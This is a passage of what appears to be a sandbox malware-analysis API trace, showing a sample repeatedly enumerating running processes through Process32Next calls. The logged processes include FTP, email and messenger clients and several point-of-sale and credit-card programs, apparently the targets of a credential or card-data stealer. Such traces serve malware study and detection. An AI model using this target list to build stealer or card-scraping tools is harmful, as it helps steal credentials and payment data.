th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0285.251] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0285.253] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0285.255] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0285.261] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0285.264] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0285.267] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0285.269] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0285.271] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0285.274] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0285.276] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0285.278] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0285.281] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0285.283] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0285.285] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0285.287] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0285.289] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0285.291] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0285.294] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0285.296] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0285.298] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0285.300] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0285.302] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0285.305] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0285.307] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0285.310] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0285.312] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0285.314] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0285.316] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0285.320] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0285.322] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0285.324] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0285.326] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0285.328] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0285.331] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0285.333] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0285.335] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0285.362] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0285.367] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0285.370] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0285.373] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0285.375] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0285.377] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0285.381] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0285.384] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0285.394] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0285.397] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.399] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0285.401] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0285.403] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0285.406] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0285.408] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0285.410] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0285.412] CloseHandle (hObject=0xa10) returned 1 [0285.412] Sleep (dwMilliseconds=0x64) [0285.415] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa10 [0285.428] Process32First (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0285.430] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0285.433] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0285.435] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0285.437] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0285.439] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0285.441] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0285.443] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0285.445] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0285.446] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.448] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.450] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0285.453] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.455] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.457] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.459] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.461] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.463] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.465] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.467] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0285.469] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0285.473] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0285.475] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.477] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0285.478] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0285.494] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0285.498] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0285.501] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0285.505] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0285.508] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0285.510] Process32Next (in: hSnapshot=0xa10, 